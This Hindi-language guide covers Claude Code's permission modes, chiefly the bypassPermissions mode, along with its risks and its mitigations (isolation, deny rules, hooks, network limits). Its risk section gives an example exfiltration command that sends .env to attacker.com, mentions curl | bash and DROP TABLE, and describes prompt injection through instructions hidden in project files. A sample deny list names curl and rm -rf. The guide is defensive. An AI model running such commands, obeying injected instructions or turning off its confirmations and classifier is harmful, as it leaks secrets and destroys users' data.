Claude Code का परमिशन बायपास मोड: सुरक्षा जोखिम और सुरक्षित उपयोग के तरीके

Claude Code में एक «परमिशन बायपास मोड» (bypassPermissions) है जो लगभग सभी ऑपरेशन बिना किसी पुष्टि के स्वचालित रूप से चलाता है। CI/CD पाइपलाइन और Docker कंटेनर में ऑटोमेशन के लिए यह बेहद काम का है, लेकिन गलत तरीके से इस्तेमाल करने पर गंभीर सुरक्षा जोखिम पैदा हो सकते हैं।

इस लेख में, हम Claude Code के छह परमिशन मोड्स को समझेंगे और फिर बायपास मोड की उपयोगिता, जोखिम और सुरक्षित उपयोग के तरीके व्यावहारिक उदाहरणों के साथ जानेंगे।

1. परमिशन बायपास मोड क्या है

परमिशन बायपास मोड Claude Code के काम करते समय दिखाई देने वाले लगभग सभी कन्फर्मेशन प्रॉम्प्ट को स्किप कर देता है। मैन्युअल मोड में Claude Code फाइल एडिट या शेल कमांड चलाने से पहले यूजर की अनुमति मांगता है, लेकिन बायपास मोड में ये प्रॉम्प्ट नहीं दिखते (कुछ अपवाद हैं, जिन्हें आगे बताया गया है)।

इसे चालू करने के लिए लॉन्च के दो फ्लैग हैं (यूजर या मैनेज्ड सेटिंग्स में defaultMode को bypassPermissions पर रखने से भी यह चालू होता है, पर प्रोजेक्ट सेटिंग्स में नहीं)। जो सेशन बायपास चालू किए बिना शुरू हुआ हो, उसमें बीच में इस पर नहीं जाया जा सकता:

# Flag activation
claude --dangerously-skip-permissions

# Or via permission mode
claude --permission-mode bypassPermissions

ध्यान दें कि फ्लैग के नाम में «dangerously» (खतरनाक तरीके से) शब्द शामिल है — Anthropic ने जानबूझकर यह चेतावनी दी है। यह मोड पूरी तरह आइसोलेटेड वातावरण (कंटेनर या VM) में ऑटोमेशन के लिए बनाया गया है।

Bypass सुरक्षित पथों में लिखने की पुष्टि भी छोड़ देता है। बची हुई पाबंदियों के उदाहरण: मेल खाने वाले स्पष्ट deny और ask नियम, महत्वपूर्ण पथों को मिटाने की जाँच, आपके उत्तर की ज़रूरत वाले टूल और hooks। यह पूरी सूची नहीं है। आधिकारिक बची हुई पाबंदियाँ भी देखें। नियमों के मिलान और इंस्टॉल किए गए mods की शर्तें हमारे अनुमति नियमों के गाइड में हैं।

2. Claude Code के छह परमिशन मोड

Claude Code में छह परमिशन मोड हैं, और हर एक में «बिना पुष्टि के क्या-क्या किया जा सकता है» का दायरा अलग है।

प्रत्येक मोड का विवरण

default (Manual): सामान्य संपादन और कमांड चलाने के लिए मंज़ूरी माँगता है। अंतर्निहित केवल पढ़ने वाले कमांड, allow नियम से मेल खाने वाले कार्य और sandbox का auto-allow अपवाद हैं। Manual का अर्थ हर कार्य की पुष्टि नहीं है। auto अनुपलब्ध होने पर और कई गैर-इंटरैक्टिव सत्रों में यह शुरुआती मोड है।

acceptEdits (Accept edits): कार्य क्षेत्र में फ़ाइल संपादन और पहचाने गए mkdir, touch, rm, rmdir, mv, cp, sed जैसे कार्य अपने आप मंज़ूर करता है। क्षेत्र से बाहर और सुरक्षित पथों की जाँच अलग है। allow या sandbox के auto-allow से मेल खाने पर दूसरे कमांड भी पुष्टि के बिना चल सकते हैं।

plan (Plan): जाँच करता है, बदलावों की योजना बनाता है और योजना फ़ाइलें लिखता है। मंज़ूरी तक सामान्यतः कोड संपादन रोकता है, लेकिन ऐसे इंटरैक्टिव टर्मिनल में जहाँ चयन मेनू में bypass उपलब्ध है, Plan में भी संपादन रोक लागू नहीं होती। auto उपलब्ध होने और useAutoModeDuringPlan चालू होने पर क्लासिफ़ायर जाँच वाले कमांड की समीक्षा करता है। सेटिंग बंद हो या auto अनुपलब्ध हो, तो अंतर्निहित केवल पढ़ने वाले समूह से बाहर के कमांड पुष्टि माँगते हैं। bypass का यह अपवाद -p, SDK और VS Code चैट पर लागू नहीं है।

auto (ऑटो): लगभग सभी ऑपरेशन बिना पुष्टि के चलते हैं, लेकिन बैकग्राउंड में सेफ्टी क्लासिफायर (safety classifier) काम करता है और अपने आकलन में खतरनाक ऑपरेशन ब्लॉक करता है। लंबे ऑटोमेटेड कामों के लिए उपयुक्त। v2.1.283 से हर प्लान और हर प्रोवाइडर पर टर्मिनल और VS Code का शुरुआती मोड यही है (4 अक्टूबर 2026 तक; इससे पुराने वर्ज़न में सिर्फ़ Pro, Max और Team प्लान auto में शुरू होते हैं और बाक़ी मैन्युअल मोड में; अगर एडमिन ने auto मोड बंद किया हो या मॉडल इसे सपोर्ट न करता हो, तब भी सेशन मैन्युअल मोड में शुरू होता है)।

dontAsk: पुष्टि माँगने वाले कार्य अपने आप अस्वीकार करता है। कार्य क्षेत्र में पढ़ने और केवल पढ़ने वाले कमांड जैसे बिना पुष्टि के कार्य तथा allow से स्वीकृत कार्य ही चलते हैं। इससे मंज़ूरी का इंतज़ार घटता है, पर आपके उत्तर की ज़रूरत वाले टूल जैसे दूसरे इंतज़ार रह सकते हैं। यह Shift+Tab चक्र में नहीं है; इसे claude --permission-mode dontAsk या सेटिंग के defaultMode से चुनें। CI और उन परिवेशों के लिए उपयोगी है जहाँ आप Claude की क्षमताएँ पहले तय करना चाहते हैं।

bypassPermissions (अनुमतियाँ बायपास करें): कन्फ़र्मेशन प्रॉम्प्ट और सेफ्टी क्लासिफायर अक्षम हो जाते हैं (Hooks चलते रहते हैं)। केवल कंटेनर और VM में उपयोग के लिए डिज़ाइन किया गया है — Anthropic लोकल वातावरण में इसकी सिफारिश नहीं करता।

परमिशन मोड को स्टार्टअप पर CLI फ्लैग के अलावा, सेशन के दौरान Shift+Tab शॉर्टकट से भी बदला जा सकता है (JetBrains में भी यही)। VS Code में इनपुट बॉक्स के नीचे वाले मोड इंडिकेटर से और डेस्कटॉप ऐप में भेजें बटन के बगल वाले सेलेक्टर से बदलते हैं। हालांकि, जो सेशन बायपास चालू किए बिना शुरू हुआ हो, उसमें बायपास नहीं चुना जा सकता।

3. बायपास मोड कब उपयोगी है

बायपास मोड सिर्फ «खतरनाक» मोड नहीं है — सही वातावरण में यह डेवलपमेंट एफिशिएंसी को काफी बढ़ा सकता है।

CI/CD पाइपलाइन में उपयोग

GitHub Actions और GitLab CI जैसे CI/CD वातावरण में कन्फर्मेशन प्रॉम्प्ट का जवाब देने वाला कोई यूजर नहीं होता। बायपास मोड से ऑटोमेटेड टेस्टिंग, कोड रिव्यू और डॉक्यूमेंटेशन जेनरेशन को पूरी तरह स्वचालित किया जा सकता है।

# GitHub Actions example
claude --dangerously-skip-permissions \
  -p "Run tests and report results"

Docker कंटेनर के अंदर

अस्थायी कंटेनर या VM सही तरह अलग करने पर असर कम कर सकते हैं। लेकिन होस्ट माउंट, क्रेडेंशियल, Docker सॉकेट और नेटवर्क असर को उपलब्ध संसाधनों तक फैलाते हैं। कंटेनर में कोड और डेटा नष्ट हो सकते हैं; अकेला कंटेनर जोखिम खत्म नहीं करता।

बल्क फाइल प्रोसेसिंग

100 से अधिक फाइलों में एक साथ बदलाव करते समय, बार-बार कन्फर्मेशन प्रॉम्प्ट एक बड़ा बोझ बन जाते हैं। आइसोलेटेड वातावरण में बायपास मोड से कुशलतापूर्वक प्रोसेसिंग हो सकती है।

ऑटोमेशन स्क्रिप्ट्स के साथ

बिना निगरानी के काम में bypass एक विकल्प है। सीमित अनुमतियों के साथ dontAsk, या उपलब्ध होने पर auto भी देखें। bypass के लिए आधिकारिक शर्त जाँचें: इंटरनेट पहुँच के बिना ऐसा अलग परिवेश जो होस्ट को प्रभावित न कर सके।

4. पांच सुरक्षा जोखिम

बायपास मोड को बिना आइसोलेशन के इस्तेमाल करने पर ये गंभीर जोखिम पैदा होते हैं:

जोखिम 1: प्रॉम्प्ट इंजेक्शन

सबसे खतरनाक जोखिम। दुर्भावनापूर्ण फाइलें (जैसे README या package.json में छिपे निर्देश) में छिपी हुई कमांड्स सीधे एक्जीक्यूट हो सकती हैं।

Manual मोड में मंज़ूरी की ज़रूरत वाले कॉल चलने से पहले पुष्टि माँगते हैं। allow नियम या sandbox auto-allow यह चरण छोड़ सकते हैं, इसलिए हर खतरनाक कार्य पर पुष्टि की गारंटी नहीं है। Bypass सामान्य मंज़ूरी प्रक्रिया छोड़ता है।

जोखिम 2: आर्बिट्रेरी कमांड एक्जीक्यूशन

curl | bash, फ़ाइलें मिटाना और पैकेज इंस्टॉल जैसे व्यापक कार्य पुष्टि के बिना हो सकते हैं। Bypass क्लासिफ़ायर को भी बंद करता है। deny और ask नियम हर वैकल्पिक रास्ते को नहीं रोकते।

जोखिम 3: डेटा लीक

.env फाइलें, ऑथेंटिकेशन टोकन, API कीज़ जैसी संवेदनशील जानकारी को बाहरी एंडपॉइंट पर भेजने वाली कमांड बिना पुष्टि के चल सकती है। उदाहरण: curl -d @.env https://attacker.com।

जोखिम 4: ऑपरेशन एस्केलेशन

साधारण फ़ाइल संपादन से शुरू काम धीरे-धीरे प्रोडक्शन deploy या डेटाबेस migration तक बढ़ सकता है। Manual में मंज़ूरी माँगने वाले कार्य समीक्षा का अवसर देते हैं, लेकिन काम के हर अहम चरण पर पुष्टि की गारंटी नहीं है। Bypass भी सामान्य पुष्टि प्रक्रिया छोड़ता है।

जोखिम 5: अपरिवर्तनीय विनाशकारी ऑपरेशन

git push --force, फाइलों का स्थायी विलोपन, डेटाबेस में DROP TABLE जैसे वापस न किए जा सकने वाले ऑपरेशन बिना पुष्टि के एक्जीक्यूट होने का जोखिम है।

5. सुरक्षित उपयोग के उपाय

अगर बायपास मोड का उपयोग ज़रूरी है, तो ये उपाय अपनाएं:

उपाय 1: केवल कंटेनर और VM तक सीमित रखें

सबसे महत्वपूर्ण उपाय। बायपास मोड हमेशा आइसोलेटेड वातावरण में इस्तेमाल करें — Docker कंटेनर, VM, या GitHub Actions जैसे CI रनर। होस्ट OS पर सीधे न चलाएं।

उपाय 2: पहले auto मोड पर विचार करें

पुष्टि घटाने के लिए पहले auto की शर्तें और सीमाएँ जाँचें। क्लासिफ़ायर अपने आकलन में खतरनाक कार्य अस्वीकार करता है, लेकिन सभी खतरनाक कार्य पहचानने की गारंटी नहीं देता। केवल असुविधाजनक पुष्टि से बचने के लिए bypass न चुनें।

उपाय 3: allowlist से बारीक नियंत्रण

allow केवल मेल खाने वाले टूल कॉल पर लागू होता है। उदाहरण के लिए Bash(curl *) में /usr/bin/curl या दूसरे shell के रास्ते छूट सकते हैं। स्क्रिप्ट और OS स्तर पर अलगाव भी जाँचें; किसी कमांड के मिलान को सभी रास्तों की सुरक्षा न मानें।

# .claude/settings.json permission rules
{
  "permissions": {
    "allow": [
      "Bash(npm run build)",
      "Bash(npm test)",
      "Bash(git status)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(rm -rf *)"
    ]
  }
}

रूल्स का मूल्यांकन deny → ask → allow क्रम में होता है। deny को सर्वोच्च प्राथमिकता मिलती है, इसलिए किसी खतरनाक कमांड को स्पष्ट रूप से deny करने पर allow रूल उसे ओवरराइड नहीं कर सकता।

उपाय 4: Hooks से निगरानी

Claude Code की Hooks सुविधा (PreToolUse / PostToolUse हुक्स) से टूल उपयोग से पहले और बाद में कस्टम स्क्रिप्ट चलाई जा सकती हैं। और बायपास मोड में भी Hooks चलते रहते हैं। बायपास जिसे स्किप करता है वह कन्फ़र्मेशन प्रॉम्प्ट है, जबकि Hooks उससे पहले के चरण में चलते हैं। आधिकारिक दस्तावेज़ में भी बताया गया है कि PreToolUse हुक परमिशन प्रॉम्प्ट से पहले चलता है, और अगर कोई हुक एग्ज़िट कोड 2 के साथ बंद होता है तो परमिशन रूल्स के मूल्यांकन से पहले ही वह टूल कॉल रुक जाती है।

Hooks एक जाँच जोड़ते हैं, लेकिन उनके कोड और सेटिंग की रक्षा भी ज़रूरी है। कुछ स्थितियों में mod गैर-प्रबंधित PreToolUse के अस्वीकार को मंज़ूरी से बदल सकता है; अनुमति नियमों और mods का संबंध देखें।

# PreToolUse hook example (.claude/settings.json)
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": ".claude/hooks/check-safety.sh"
      }]
    }]
  }
}

उपाय 5: नेटवर्क को सीमित करें

कंटेनर के अंदर भी बाहरी नेटवर्क एक्सेस को सीमित करें ताकि डेटा लीक का जोखिम काफी कम हो जाए। आदर्श रूप से केवल ज़रूरी एंडपॉइंट (जैसे Anthropic API) को अनुमति दें।

उपाय 6: काम के बाद रिव्यू करें

बायपास मोड में काम करने के बाद git diff से बदलावों की जरूर जांच करें। अनचाहे बदलाव या संवेदनशील जानकारी का लीक न हो — यह सुनिश्चित करने की आदत बनाएं।

6. परमिशन मोड चयन गाइड

कौन सा मोड चुनें, इसमें असमंजस हो तो यह फ्लोचार्ट देखें:

स्थिति के अनुसार अनुशंसित सेटिंग्स

रोज़ का विकास: acceptEdits से कार्य क्षेत्र के संपादन की पुष्टि घटाएँ। सामान्य दूसरे कमांड की मंज़ूरी बचती है, लेकिन allow और sandbox auto-allow से पुष्टि छोड़ी जा सकती है।

जाँच और डिज़ाइन: Plan सामान्यतः कोड संपादन रोकता है और योजना फ़ाइलें लिख सकता है; इंटरैक्टिव टर्मिनल में चयन योग्य bypass का अपवाद है। बदलाव किए बिना काम के लिए केवल जाँच वाले मोड का गाइड देखें और आवश्यकतानुसार OS की लेखन पाबंदियाँ जोड़ें।

स्वचालन: auto और sandbox को जोड़ना एक विकल्प है, लेकिन क्लासिफ़ायर की मंज़ूरी सुरक्षा की गारंटी नहीं है। उपलब्धता और अनुमत दायरा जाँचें।

CI/CD: dontAsk और सीमित allow सामान्य अनुमति पुष्टि का इंतज़ार टालते हैं, लेकिन आपके उत्तर की ज़रूरत वाले टूल और त्रुटियाँ काम रोक सकती हैं। bypass में अलगाव, नेटवर्क पाबंदियाँ और न्यूनतम माउंट जाँचें। कोई मोड अकेले काम पूरा होने की गारंटी नहीं देता।

बायपास कई परमिशन मोड्स में से सिर्फ एक है। हर मोड कहां फिट बैठता है और उनमें से कैसे चुनें, यह समझने के लिए Claude Code के सभी अनुमति मोड का विस्तृत अवलोकन पढ़ें। Claude Code की अन्य सुविधाओं के बारे में जानने के लिए Claude की तीन सुविधाओं में अंतर देखें। प्राइसिंग प्लान के लिए Claude vs ChatGPT कीमत तुलना देखें।

7. सारांश

Claude Code का परमिशन बायपास मोड सही वातावरण में एक शक्तिशाली टूल है, लेकिन गलत उपयोग गंभीर सुरक्षा घटनाओं का कारण बन सकता है।

AI टूल्स के सुरक्षित उपयोग में रुचि है तो AI स्तर परीक्षा से अपनी AI साक्षरता जांचें। Claude Code को व्यवस्थित रूप से सीखने के लिए प्रारंभिक पाठ्यक्रम देखें।

अक्सर पूछे जाने वाले प्रश्न

अनुमतियों और अलगाव के दायरे तथा अपवादों को 9 अक्टूबर 2026 को आधिकारिक मूल दस्तावेज़ों से दोबारा मिलाया गया। डिवाइस की सेटिंग नहीं बदली गई और शुरू करने के प्रयोग नहीं किए गए।